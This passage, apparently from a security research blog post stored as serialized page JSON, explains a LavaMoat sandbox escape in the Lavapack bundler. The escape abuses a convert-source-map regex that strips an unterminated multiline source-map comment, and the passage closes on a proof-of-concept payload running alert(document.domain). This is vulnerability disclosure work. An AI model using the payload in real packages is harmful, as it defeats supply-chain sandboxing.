function 2\n",{"type":23,"tag":213,"props":48228,"children":48229},{"class":215,"line":524},[48230,48234],{"type":23,"tag":213,"props":48231,"children":48232},{"style":220},[48233],{"type":28,"value":36260},{"type":23,"tag":213,"props":48235,"children":48236},{"style":537},[48237],{"type":28,"value":48238},"// end with 1\n",{"type":23,"tag":213,"props":48240,"children":48241},{"class":215,"line":533},[48242,48246],{"type":23,"tag":213,"props":48243,"children":48244},{"style":220},[48245],{"type":28,"value":46925},{"type":23,"tag":213,"props":48247,"children":48248},{"style":537},[48249],{"type":28,"value":48250},"// end with 2\n",{"type":23,"tag":213,"props":48252,"children":48253},{"class":215,"line":543},[48254],{"type":23,"tag":213,"props":48255,"children":48256},{"emptyLinePlaceholder":18},[48257],{"type":28,"value":530},{"type":23,"tag":213,"props":48259,"children":48260},{"class":215,"line":551},[48261,48265,48269,48273,48277,48281],{"type":23,"tag":213,"props":48262,"children":48263},{"style":257},[48264],{"type":28,"value":32753},{"type":23,"tag":213,"props":48266,"children":48267},{"style":220},[48268],{"type":28,"value":265},{"type":23,"tag":213,"props":48270,"children":48271},{"style":268},[48272],{"type":28,"value":32763},{"type":23,"tag":213,"props":48274,"children":48275},{"style":220},[48276],{"type":28,"value":124},{"type":23,"tag":213,"props":48278,"children":48279},{"style":268},[48280],{"type":28,"value":32773},{"type":23,"tag":213,"props":48282,"children":48283},{"style":220},[48284],{"type":28,"value":2183},{"type":23,"tag":24,"props":48286,"children":48287},{},[48288,48290,48296,48298,48305],{"type":28,"value":48289},"However, when we tried to bundle it, a ",{"type":23,"tag":209,"props":48291,"children":48293},{"className":48292},[],[48294],{"type":28,"value":48295},"ParseError",{"type":28,"value":48297}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":36,"props":48299,"children":48302},{"href":48300,"rel":48301},"https://github.com/browserify/browserify",[40],[48303],{"type":28,"value":48304},"browserify",{"type":28,"value":48306},", which has a syntax check before replacing the code.",{"type":23,"tag":24,"props":48308,"children":48309},{},[48310,48312,48318,48320,48326,48328,48334,48336,48341],{"type":28,"value":48311},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":209,"props":48313,"children":48315},{"className":48314},[],[48316],{"type":28,"value":48317},"syntax",{"type":28,"value":48319}," stage on it's pipeline, and uses the ",{"type":23,"tag":209,"props":48321,"children":48323},{"className":48322},[],[48324],{"type":28,"value":48325},"syntax-error",{"type":28,"value":48327}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":209,"props":48329,"children":48331},{"className":48330},[],[48332],{"type":28,"value":48333},"pack",{"type":28,"value":48335}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":209,"props":48337,"children":48339},{"className":48338},[],[48340],{"type":28,"value":48317},{"type":28,"value":48342},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":24,"props":48344,"children":48345},{},[48346],{"type":23,"tag":4009,"props":48347,"children":48350},{"alt":48348,"src":48349},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":24,"props":48352,"children":48353},{},[48354,48355,48360,48362,48367],{"type":28,"value":2623},{"type":23,"tag":209,"props":48356,"children":48358},{"className":48357},[],[48359],{"type":28,"value":48325},{"type":28,"value":48361}," package performs a syntax check by using ",{"type":23,"tag":209,"props":48363,"children":48365},{"className":48364},[],[48366],{"type":28,"value":37606},{"type":28,"value":48368}," with function hoisting:",{"type":23,"tag":202,"props":48370,"children":48372},{"className":31419,"code":48371,"language":31421,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[48373],{"type":23,"tag":209,"props":48374,"children":48375},{"__ignoreMap":7},[48376,48388,48438,48449,48456,48477,48518,48578,48619],{"type":23,"tag":213,"props":48377,"children":48378},{"class":215,"line":216},[48379,48384],{"type":23,"tag":213,"props":48380,"children":48381},{"style":1362},[48382],{"type":28,"value":48383},"try",{"type":23,"tag":213,"props":48385,"children":48386},{"style":220},[48387],{"type":28,"value":1375},{"type":23,"tag":213,"props":48389,"children":48390},{"class":215,"line":226},[48391,48396,48400,48405,48409,48414,48418,48423,48429,48434],{"type":23,"tag":213,"props":48392,"children":48393},{"style":257},[48394],{"type":28,"value":48395}," eval",{"type":23,"tag":213,"props":48397,"children":48398},{"style":220},[48399],{"type":28,"value":265},{"type":23,"tag":213,"props":48401,"children":48402},{"style":246},[48403],{"type":28,"value":48404},"'throw \"STOP\"; (function () { '",{"type":23,"tag":213,"props":48406,"children":48407},{"style":274},[48408],{"type":28,"value":8989},{"type":23,"tag":213,"props":48410,"children":48411},{"style":268},[48412],{"type":28,"value":48413}," src",{"type":23,"tag":213,"props":48415,"children":48416},{"style":274},[48417],{"type":28,"value":8989},{"type":23,"tag":213,"props":48419,"children":48420},{"style":246},[48421],{"type":28,"value":48422}," '",{"type":23,"tag":213,"props":48424,"children":48426},{"style":48425},"--shiki-default:#D7BA7D",[48427],{"type":28,"value":48428},"\\n",{"type":23,"tag":213,"props":48430,"children":48431},{"style":246},[48432],{"type":28,"value":48433},"})()'",{"type":23,"tag":213,"props":48435,"children":48436},{"style":220},[48437],{"type":28,"value":2867},{"type":23,"tag":213,"props":48439,"children":48440},{"class":215,"line":524},[48441,48445],{"type":23,"tag":213,"props":48442,"children":48443},{"style":1362},[48444],{"type":28,"value":17040},{"type":23,"tag":213,"props":48446,"children":48447},{"style":220},[48448],{"type":28,"value":313},{"type":23,"tag":213,"props":48450,"children":48451},{"class":215,"line":533},[48452],{"type":23,"tag":213,"props":48453,"children":48454},{"style":220},[48455],{"type":28,"value":1208},{"type":23,"tag":213,"props":48457,"children":48458},{"class":215,"line":543},[48459,48464,48468,48473],{"type":23,"tag":213,"props":48460,"children":48461},{"style":1362},[48462],{"type":28,"value":48463},"catch",{"type":23,"tag":213,"props":48465,"children":48466},{"style":220},[48467],{"type":28,"value":400},{"type":23,"tag":213,"props":48469,"children":48470},{"style":268},[48471],{"type":28,"value":48472},"err",{"type":23,"tag":213,"props":48474,"children":48475},{"style":220},[48476],{"type":28,"value":14870},{"type":23,"tag":213,"props":48478,"children":48479},{"class":215,"line":551},[48480,48484,48488,48492,48496,48501,48505,48510,48514],{"type":23,"tag":213,"props":48481,"children":48482},{"style":1362},[48483],{"type":28,"value":2653},{"type":23,"tag":213,"props":48485,"children":48486},{"style":220},[48487],{"type":28,"value":400},{"type":23,"tag":213,"props":48489,"children":48490},{"style":268},[48491],{"type":28,"value":48472},{"type":23,"tag":213,"props":48493,"children":48494},{"style":274},[48495],{"type":28,"value":31478},{"type":23,"tag":213,"props":48497,"children":48498},{"style":246},[48499],{"type":28,"value":48500}," 'STOP'",{"type":23,"tag":213,"props":48502,"children":48503},{"style":220},[48504],{"type":28,"value":298},{"type":23,"tag":213,"props":48506,"children":48507},{"style":1362},[48508],{"type":28,"value":48509},"return",{"type":23,"tag":213,"props":48511,"children":48512},{"style":230},[48513],{"type":28,"value":39395},{"type":23,"tag":213,"props":48515,"children":48516},{"style":220},[48517],{"type":28,"value":313},{"type":23,"tag":213,"props":48519,"children":48520},{"class":215,"line":570},[48521,48525,48529,48533,48537,48542,48546,48551,48556,48561,48565,48569,48574],{"type":23,"tag":213,"props":48522,"children":48523},{"style":1362},[48524],{"type":28,"value":2653},{"type":23,"tag":213,"props":48526,"children":48527},{"style":220},[48528],{"type":28,"value":400},{"type":23,"tag":213,"props":48530,"children":48531},{"style":268},[48532],{"type":28,"value":48472},{"type":23,"tag":213,"props":48534,"children":48535},{"style":220},[48536],{"type":28,"value":124},{"type":23,"tag":213,"props":48538,"children":48539},{"style":268},[48540],{"type":28,"value":48541},"constructor",{"type":23,"tag":213,"props":48543,"children":48544},{"style":220},[48545],{"type":28,"value":124},{"type":23,"tag":213,"props":48547,"children":48548},{"style":268},[48549],{"type":28,"value":48550},"name",{"type":23,"tag":213,"props":48552,"children":48553},{"style":274},[48554],{"type":28,"value":48555}," !==",{"type":23,"tag":213,"props":48557,"children":48558},{"style":246},[48559],{"type":28,"value":48560}," 'SyntaxError'",{"type":23,"tag":213,"props":48562,"children":48563},{"style":220},[48564],{"type":28,"value":298},{"type":23,"tag":213,"props":48566,"children":48567},{"style":1362},[48568],{"type":28,"value":48509},{"type":23,"tag":213,"props":48570,"children":48571},{"style":268},[48572],{"type":28,"value":48573}," err",{"type":23,"tag":213,"props":48575,"children":48576},{"style":220},[48577],{"type":28,"value":313},{"type":23,"tag":213,"props":48579,"children":48580},{"class":215,"line":655},[48581,48585,48590,48594,48598,48602,48606,48610,48615],{"type":23,"tag":213,"props":48582,"children":48583},{"style":1362},[48584],{"type":28,"value":17040},{"type":23,"tag":213,"props":48586,"children":48587},{"style":257},[48588],{"type":28,"value":48589}," errorInfo",{"type":23,"tag":213,"props":48591,"children":48592},{"style":220},[48593],{"type":28,"value":265},{"type":23,"tag":213,"props":48595,"children":48596},{"style":268},[48597],{"type":28,"value":32725},{"type":23,"tag":213,"props":48599,"children":48600},{"style":220},[48601],{"type":28,"value":424},{"type":23,"tag":213,"props":48603,"children":48604},{"style":268},[48605],{"type":28,"value":47996},{"type":23,"tag":213,"props":48607,"children":48608},{"style":220},[48609],{"type":28,"value":424},{"type":23,"tag":213,"props":48611,"children":48612},{"style":268},[48613],{"type":28,"value":48614},"opts",{"type":23,"tag":213,"props":48616,"children":48617},{"style":220},[48618],{"type":28,"value":2867},{"type":23,"tag":213,"props":48620,"children":48621},{"class":215,"line":1176},[48622],{"type":23,"tag":213,"props":48623,"children":48624},{"style":220},[48625],{"type":28,"value":1208},{"type":23,"tag":24,"props":48627,"children":48628},{},[48629,48631,48635,48637,48643,48645,48650],{"type":28,"value":48630},"Interestingly, it ",{"type":23,"tag":87,"props":48632,"children":48633},{},[48634],{"type":28,"value":4067},{"type":28,"value":48636}," possible to inject a ",{"type":23,"tag":209,"props":48638,"children":48640},{"className":48639},[],[48641],{"type":28,"value":48642},"}); (() => {",{"type":28,"value":48644}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":209,"props":48646,"children":48648},{"className":48647},[],[48649],{"type":28,"value":48166},{"type":28,"value":48651}," sandbox of Lavapack.",{"type":23,"tag":9693,"props":48653,"children":48655},{"id":48654},"sourcemap-the-syntax-killer",[48656],{"type":28,"value":48657},"SourceMap: The Syntax Killer",{"type":23,"tag":24,"props":48659,"children":48660},{},[48661,48663,48670],{"type":28,"value":48662},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":36,"props":48664,"children":48667},{"href":48665,"rel":48666},"https://www.npmjs.com/package/convert-source-map",[40],[48668],{"type":28,"value":48669},"convert-source-map",{"type":28,"value":48671}," npm package:",{"type":23,"tag":202,"props":48673,"children":48675},{"className":31419,"code":48674,"language":31421,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[48676],{"type":23,"tag":209,"props":48677,"children":48678},{"__ignoreMap":7},[48679,48703,48745,48753,48794,48835,48863],{"type":23,"tag":213,"props":48680,"children":48681},{"class":215,"line":216},[48682,48686,48691,48695,48699],{"type":23,"tag":213,"props":48683,"children":48684},{"style":230},[48685],{"type":28,"value":31433},{"type":23,"tag":213,"props":48687,"children":48688},{"style":257},[48689],{"type":28,"value":48690}," extractSourceMaps",{"type":23,"tag":213,"props":48692,"children":48693},{"style":220},[48694],{"type":28,"value":265},{"type":23,"tag":213,"props":48696,"children":48697},{"style":268},[48698],{"type":28,"value":38072},{"type":23,"tag":213,"props":48700,"children":48701},{"style":220},[48702],{"type":28,"value":14870},{"type":23,"tag":213,"props":48704,"children":48705},{"class":215,"line":226},[48706,48710,48715,48719,48724,48728,48733,48737,48741],{"type":23,"tag":213,"props":48707,"children":48708},{"style":230},[48709],{"type":28,"value":36246},{"type":23,"tag":213,"props":48711,"children":48712},{"style":268},[48713],{"type":28,"value":48714}," converter",{"type":23,"tag":213,"props":48716,"children":48717},{"style":274},[48718],{"type":28,"value":511},{"type":23,"tag":213,"props":48720,"children":48721},{"style":268},[48722],{"type":28,"value":48723}," convertSourceMap",{"type":23,"tag":213,"props":48725,"children":48726},{"style":220},[48727],{"type":28,"value":124},{"type":23,"tag":213,"props":48729,"children":48730},{"style":257},[48731],{"type":28,"value":48732},"fromSource",{"type":23,"tag":213,"props":48734,"children":48735},{"style":220},[48736],{"type":28,"value":265},{"type":23,"tag":213,"props":48738,"children":48739},{"style":268},[48740],{"type":28,"value":38072},{"type":23,"tag":213,"props":48742,"children":48743},{"style":220},[48744],{"type":28,"value":2183},{"type":23,"tag":213,"props":48746,"children":48747},{"class":215,"line":524},[48748],{"type":23,"tag":213,"props":48749,"children":48750},{"style":537},[48751],{"type":28,"value":48752}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":213,"props":48754,"children":48755},{"class":215,"line":533},[48756,48760,48765,48769,48773,48777,48781,48785,48790],{"type":23,"tag":213,"props":48757,"children":48758},{"style":230},[48759],{"type":28,"value":36246},{"type":23,"tag":213,"props":48761,"children":48762},{"style":268},[48763],{"type":28,"value":48764}," maps",{"type":23,"tag":213,"props":48766,"children":48767},{"style":274},[48768],{"type":28,"value":511},{"type":23,"tag":213,"props":48770,"children":48771},{"style":268},[48772],{"type":28,"value":48714},{"type":23,"tag":213,"props":48774,"children":48775},{"style":274},[48776],{"type":28,"value":14259},{"type":23,"tag":213,"props":48778,"children":48779},{"style":268},[48780],{"type":28,"value":48714},{"type":23,"tag":213,"props":48782,"children":48783},{"style":220},[48784],{"type":28,"value":124},{"type":23,"tag":213,"props":48786,"children":48787},{"style":257},[48788],{"type":28,"value":48789},"toObject",{"type":23,"tag":213,"props":48791,"children":48792},{"style":220},[48793],{"type":28,"value":7824},{"type":23,"tag":213,"props":48795,"children":48796},{"class":215,"line":543},[48797,48801,48806,48810,48814,48818,48823,48827,48831],{"type":23,"tag":213,"props":48798,"children":48799},{"style":230},[48800],{"type":28,"value":36246},{"type":23,"tag":213,"props":48802,"children":48803},{"style":268},[48804],{"type":28,"value":48805}," code",{"type":23,"tag":213,"props":48807,"children":48808},{"style":274},[48809],{"type":28,"value":511},{"type":23,"tag":213,"props":48811,"children":48812},{"style":268},[48813],{"type":28,"value":48723},{"type":23,"tag":213,"props":48815,"children":48816},{"style":220},[48817],{"type":28,"value":124},{"type":23,"tag":213,"props":48819,"children":48820},{"style":257},[48821],{"type":28,"value":48822},"removeComments",{"type":23,"tag":213,"props":48824,"children":48825},{"style":220},[48826],{"type":28,"value":265},{"type":23,"tag":213,"props":48828,"children":48829},{"style":268},[48830],{"type":28,"value":38072},{"type":23,"tag":213,"props":48832,"children":48833},{"style":220},[48834],{"type":28,"value":2183},{"type":23,"tag":213,"props":48836,"children":48837},{"class":215,"line":551},[48838,48842,48846,48850,48854,48859],{"type":23,"tag":213,"props":48839,"children":48840},{"style":1362},[48841],{"type":28,"value":39256},{"type":23,"tag":213,"props":48843,"children":48844},{"style":220},[48845],{"type":28,"value":2572},{"type":23,"tag":213,"props":48847,"children":48848},{"style":268},[48849],{"type":28,"value":209},{"type":23,"tag":213,"props":48851,"children":48852},{"style":220},[48853],{"type":28,"value":424},{"type":23,"tag":213,"props":48855,"children":48856},{"style":268},[48857],{"type":28,"value":48858},"maps",{"type":23,"tag":213,"props":48860,"children":48861},{"style":220},[48862],{"type":28,"value":9680},{"type":23,"tag":213,"props":48864,"children":48865},{"class":215,"line":570},[48866],{"type":23,"tag":213,"props":48867,"children":48868},{"style":220},[48869],{"type":28,"value":1208},{"type":23,"tag":24,"props":48871,"children":48872},{},[48873,48875,48880,48882,48887],{"type":28,"value":48874},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":209,"props":48876,"children":48878},{"className":48877},[],[48879],{"type":28,"value":48317},{"type":28,"value":48881}," stage. Reviewing the ",{"type":23,"tag":209,"props":48883,"children":48885},{"className":48884},[],[48886],{"type":28,"value":48669},{"type":28,"value":48888}," code, we can see exactly how this happens.",{"type":23,"tag":202,"props":48890,"children":48892},{"className":31419,"code":48891,"language":31421,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[48893],{"type":23,"tag":209,"props":48894,"children":48895},{"__ignoreMap":7},[48896,48935,48961,48969,49183,49190,49197,49204,49239,49289],{"type":23,"tag":213,"props":48897,"children":48898},{"class":215,"line":216},[48899,48904,48908,48913,48917,48921,48925,48930],{"type":23,"tag":213,"props":48900,"children":48901},{"style":268},[48902],{"type":28,"value":48903},"Object",{"type":23,"tag":213,"props":48905,"children":48906},{"style":220},[48907],{"type":28,"value":124},{"type":23,"tag":213,"props":48909,"children":48910},{"style":257},[48911],{"type":28,"value":48912},"defineProperty",{"type":23,"tag":213,"props":48914,"children":48915},{"style":220},[48916],{"type":28,"value":265},{"type":23,"tag":213,"props":48918,"children":48919},{"style":290},[48920],{"type":28,"value":37944},{"type":23,"tag":213,"props":48922,"children":48923},{"style":220},[48924],{"type":28,"value":424},{"type":23,"tag":213,"props":48926,"children":48927},{"style":246},[48928],{"type":28,"value":48929},"'commentRegex'",{"type":23,"tag":213,"props":48931,"children":48932},{"style":220},[48933],{"type":28,"value":48934},", {\n",{"type":23,"tag":213,"props":48936,"children":48937},{"class":215,"line":226},[48938,48943,48947,48951,48956],{"type":23,"tag":213,"props":48939,"children":48940},{"style":257},[48941],{"type":28,"value":48942}," get",{"type":23,"tag":213,"props":48944,"children":48945},{"style":268},[48946],{"type":28,"value":277},{"type":23,"tag":213,"props":48948,"children":48949},{"style":230},[48950],{"type":28,"value":38271},{"type":23,"tag":213,"props":48952,"children":48953},{"style":257},[48954],{"type":28,"value":48955}," getCommentRegex",{"type":23,"tag":213,"props":48957,"children":48958},{"style":220},[48959],{"type":28,"value":48960}," () {\n",{"type":23,"tag":213,"props":48962,"children":48963},{"class":215,"line":524},[48964],{"type":23,"tag":213,"props":48965,"children":48966},{"style":537},[48967],{"type":28,"value":48968}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":213,"props":48970,"children":48971},{"class":215,"line":533},[48972,48976,48982,48987,48992,48997,49001,49006,49011,49016,49020,49024,49029,49034,49039,49044,49048,49052,49056,49061,49065,49070,49075,49080,49085,49089,49093,49097,49101,49105,49109,49113,49117,49122,49127,49131,49136,49141,49145,49149,49153,49157,49162,49166,49170,49174,49179],{"type":23,"tag":213,"props":48973,"children":48974},{"style":1362},[48975],{"type":28,"value":17040},{"type":23,"tag":213,"props":48977,"children":48979},{"style":48978},"--shiki-default:#D16969",[48980],{"type":28,"value":48981}," /",{"type":23,"tag":213,"props":48983,"children":48984},{"style":257},[48985],{"type":28,"value":48986},"^",{"type":23,"tag":213,"props":48988,"children":48989},{"style":48978},[48990],{"type":28,"value":48991},"\\s",{"type":23,"tag":213,"props":48993,"children":48994},{"style":48425},[48995],{"type":28,"value":48996},"*?\\/",{"type":23,"tag":213,"props":48998,"children":48999},{"style":246},[49000],{"type":28,"value":3821},{"type":23,"tag":213,"props":49002,"children":49003},{"style":48425},[49004],{"type":28,"value":49005},"\\/\\*",{"type":23,"tag":213,"props":49007,"children":49008},{"style":246},[49009],{"type":28,"value":49010},"][",{"type":23,"tag":213,"props":49012,"children":49013},{"style":48978},[49014],{"type":28,"value":49015},"@#",{"type":23,"tag":213,"props":49017,"children":49018},{"style":246},[49019],{"type":28,"value":15470},{"type":23,"tag":213,"props":49021,"children":49022},{"style":48978},[49023],{"type":28,"value":48991},{"type":23,"tag":213,"props":49025,"children":49026},{"style":48425},[49027],{"type":28,"value":49028},"+?",{"type":23,"tag":213,"props":49030,"children":49031},{"style":48978},[49032],{"type":28,"value":49033},"sourceMappingURL=data:",{"type":23,"tag":213,"props":49035,"children":49036},{"style":246},[49037],{"type":28,"value":49038},"(((?:",{"type":23,"tag":213,"props":49040,"children":49041},{"style":48978},[49042],{"type":28,"value":49043},"application",{"type":23,"tag":213,"props":49045,"children":49046},{"style":257},[49047],{"type":28,"value":10499},{"type":23,"tag":213,"props":49049,"children":49050},{"style":48978},[49051],{"type":28,"value":28},{"type":23,"tag":213,"props":49053,"children":49054},{"style":246},[49055],{"type":28,"value":2121},{"type":23,"tag":213,"props":49057,"children":49058},{"style":48425},[49059],{"type":28,"value":49060},"\\/",{"type":23,"tag":213,"props":49062,"children":49063},{"style":48978},[49064],{"type":28,"value":34054},{"type":23,"tag":213,"props":49066,"children":49067},{"style":246},[49068],{"type":28,"value":49069},")(?:",{"type":23,"tag":213,"props":49071,"children":49072},{"style":48978},[49073],{"type":28,"value":49074},";charset=",{"type":23,"tag":213,"props":49076,"children":49077},{"style":246},[49078],{"type":28,"value":49079},"([^",{"type":23,"tag":213,"props":49081,"children":49082},{"style":48978},[49083],{"type":28,"value":49084},";,",{"type":23,"tag":213,"props":49086,"children":49087},{"style":246},[49088],{"type":28,"value":15470},{"type":23,"tag":213,"props":49090,"children":49091},{"style":48425},[49092],{"type":28,"value":49028},{"type":23,"tag":213,"props":49094,"children":49095},{"style":246},[49096],{"type":28,"value":2121},{"type":23,"tag":213,"props":49098,"children":49099},{"style":48425},[49100],{"type":28,"value":2126},{"type":23,"tag":213,"props":49102,"children":49103},{"style":246},[49104],{"type":28,"value":2121},{"type":23,"tag":213,"props":49106,"children":49107},{"style":48425},[49108],{"type":28,"value":2126},{"type":23,"tag":213,"props":49110,"children":49111},{"style":246},[49112],{"type":28,"value":2121},{"type":23,"tag":213,"props":49114,"children":49115},{"style":48425},[49116],{"type":28,"value":2126},{"type":23,"tag":213,"props":49118,"children":49119},{"style":246},[49120],{"type":28,"value":49121},"(?:",{"type":23,"tag":213,"props":49123,"children":49124},{"style":48978},[49125],{"type":28,"value":49126},";",{"type":23,"tag":213,"props":49128,"children":49129},{"style":246},[49130],{"type":28,"value":265},{"type":23,"tag":213,"props":49132,"children":49133},{"style":48978},[49134],{"type":28,"value":49135},"base64",{"type":23,"tag":213,"props":49137,"children":49138},{"style":246},[49139],{"type":28,"value":49140},"))",{"type":23,"tag":213,"props":49142,"children":49143},{"style":48425},[49144],{"type":28,"value":2126},{"type":23,"tag":213,"props":49146,"children":49147},{"style":48978},[49148],{"type":28,"value":4219},{"type":23,"tag":213,"props":49150,"children":49151},{"style":246},[49152],{"type":28,"value":265},{"type":23,"tag":213,"props":49154,"children":49155},{"style":48978},[49156],{"type":28,"value":124},{"type":23,"tag":213,"props":49158,"children":49159},{"style":48425},[49160],{"type":28,"value":49161},"*?",{"type":23,"tag":213,"props":49163,"children":49164},{"style":246},[49165],{"type":28,"value":2121},{"type":23,"tag":213,"props":49167,"children":49168},{"style":257},[49169],{"type":28,"value":10371},{"type":23,"tag":213,"props":49171,"children":49172},{"style":48978},[49173],{"type":28,"value":4675},{"type":23,"tag":213,"props":49175,"children":49176},{"style":230},[49177],{"type":28,"value":49178},"mg",{"type":23,"tag":213,"props":49180,"children":49181},{"style":220},[49182],{"type":28,"value":313},{"type":23,"tag":213,"props":49184,"children":49185},{"class":215,"line":543},[49186],{"type":23,"tag":213,"props":49187,"children":49188},{"style":220},[49189],{"type":28,"value":5964},{"type":23,"tag":213,"props":49191,"children":49192},{"class":215,"line":551},[49193],{"type":23,"tag":213,"props":49194,"children":49195},{"style":220},[49196],{"type":28,"value":35395},{"type":23,"tag":213,"props":49198,"children":49199},{"class":215,"line":570},[49200],{"type":23,"tag":213,"props":49201,"children":49202},{"emptyLinePlaceholder":18},[49203],{"type":28,"value":530},{"type":23,"tag":213,"props":49205,"children":49206},{"class":215,"line":655},[49207,49211,49215,49219,49223,49227,49231,49235],{"type":23,"tag":213,"props":49208,"children":49209},{"style":290},[49210],{"type":28,"value":37944},{"type":23,"tag":213,"props":49212,"children":49213},{"style":220},[49214],{"type":28,"value":124},{"type":23,"tag":213,"props":49216,"children":49217},{"style":257},[49218],{"type":28,"value":48822},{"type":23,"tag":213,"props":49220,"children":49221},{"style":274},[49222],{"type":28,"value":511},{"type":23,"tag":213,"props":49224,"children":49225},{"style":230},[49226],{"type":28,"value":38271},{"type":23,"tag":213,"props":49228,"children":49229},{"style":220},[49230],{"type":28,"value":400},{"type":23,"tag":213,"props":49232,"children":49233},{"style":268},[49234],{"type":28,"value":32725},{"type":23,"tag":213,"props":49236,"children":49237},{"style":220},[49238],{"type":28,"value":14870},{"type":23,"tag":213,"props":49240,"children":49241},{"class":215,"line":1176},[49242,49246,49250,49254,49259,49263,49267,49271,49276,49280,49285],{"type":23,"tag":213,"props":49243,"children":49244},{"style":1362},[49245],{"type":28,"value":39256},{"type":23,"tag":213,"props":49247,"children":49248},{"style":268},[49249],{"type":28,"value":48413},{"type":23,"tag":213,"props":49251,"children":49252},{"style":220},[49253],{"type":28,"value":124},{"type":23,"tag":213,"props":49255,"children":49256},{"style":257},[49257],{"type":28,"value":49258},"replace",{"type":23,"tag":213,"props":49260,"children":49261},{"style":220},[49262],{"type":28,"value":265},{"type":23,"tag":213,"props":49264,"children":49265},{"style":290},[49266],{"type":28,"value":37944},{"type":23,"tag":213,"props":49268,"children":49269},{"style":220},[49270],{"type":28,"value":124},{"type":23,"tag":213,"props":49272,"children":49273},{"style":268},[49274],{"type":28,"value":49275},"commentRegex",{"type":23,"tag":213,"props":49277,"children":49278},{"style":220},[49279],{"type":28,"value":424},{"type":23,"tag":213,"props":49281,"children":49282},{"style":246},[49283],{"type":28,"value":49284},"''",{"type":23,"tag":213,"props":49286,"children":49287},{"style":220},[49288],{"type":28,"value":2867},{"type":23,"tag":213,"props":49290,"children":49291},{"class":215,"line":1202},[49292],{"type":23,"tag":213,"props":49293,"children":49294},{"style":220},[49295],{"type":28,"value":16629},{"type":23,"tag":24,"props":49297,"children":49298},{},[49299,49301,49307],{"type":28,"value":49300},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":209,"props":49302,"children":49304},{"className":49303},[],[49305],{"type":28,"value":49306},"/*",{"type":28,"value":49308},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":9693,"props":49310,"children":49312},{"id":49311},"the-bypass",[49313],{"type":28,"value":49314},"The Bypass",{"type":23,"tag":24,"props":49316,"children":49317},{},[49318,49320,49325,49327,49332],{"type":28,"value":49319},"By abusing the ",{"type":23,"tag":209,"props":49321,"children":49323},{"className":49322},[],[49324],{"type":28,"value":48822},{"type":28,"value":49326}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":209,"props":49328,"children":49330},{"className":49329},[],[49331],{"type":28,"value":48166},{"type":28,"value":49333}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":202,"props":49335,"children":49337},{"className":31419,"code":49336,"language":31421,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[49338],{"type":23,"tag":209,"props":49339,"children":49340},{"__ignoreMap":7},[49341,49349,49356,49364,49372,49380,49388,49396,49404,49411,49419],{"type":23,"tag":213,"props":49342,"children":49343},{"class":215,"line":216},[49344],{"type":23,"tag":213,"props":49345,"children":49346},{"style":537},[49347],{"type":28,"value":49348},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":213,"props":49350,"children":49351},{"class":215,"line":226},[49352],{"type":23,"tag":213,"props":49353,"children":49354},{"emptyLinePlaceholder":18},[49355],{"type":28,"value":530},{"type":23,"tag":213,"props":49357,"children":49358},{"class":215,"line":524},[49359],{"type":23,"tag":213,"props":49360,"children":49361},{"style":537},[49362],{"type":28,"value":49363},"}}}}\n",{"type":23,"tag":213,"props":49365,"children":49366},{"class":215,"line":533},[49367],{"type":23,"tag":213,"props":49368,"children":49369},{"style":537},[49370],{"type":28,"value":49371},"}, {\n",{"type":23,"tag":213,"props":49373,"children":49374},{"class":215,"line":543},[49375],{"type":23,"tag":213,"props":49376,"children":49377},{"style":537},[49378],{"type":28,"value":49379}," package: \"xpl\",\n",{"type":23,"tag":213,"props":49381,"children":49382},{"class":215,"line":551},[49383],{"type":23,"tag":213,"props":49384,"children":49385},{"style":537},[49386],{"type":28,"value":49387}," file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":213,"props":49389,"children":49390},{"class":215,"line":570},[49391],{"type":23,"tag":213,"props":49392,"children":49393},{"style":537},[49394],{"type":28,"value":49395}," test: alert(document.domain),\n",{"type":23,"tag":213,"props":49397,"children":49398},{"class":215,"line":655},[49399],{"type":23,"tag":213,"props":49400,"children":49401},{"style":537},[49402],{"type":28,"value":49403}," test1: () => { () => { () => { () => 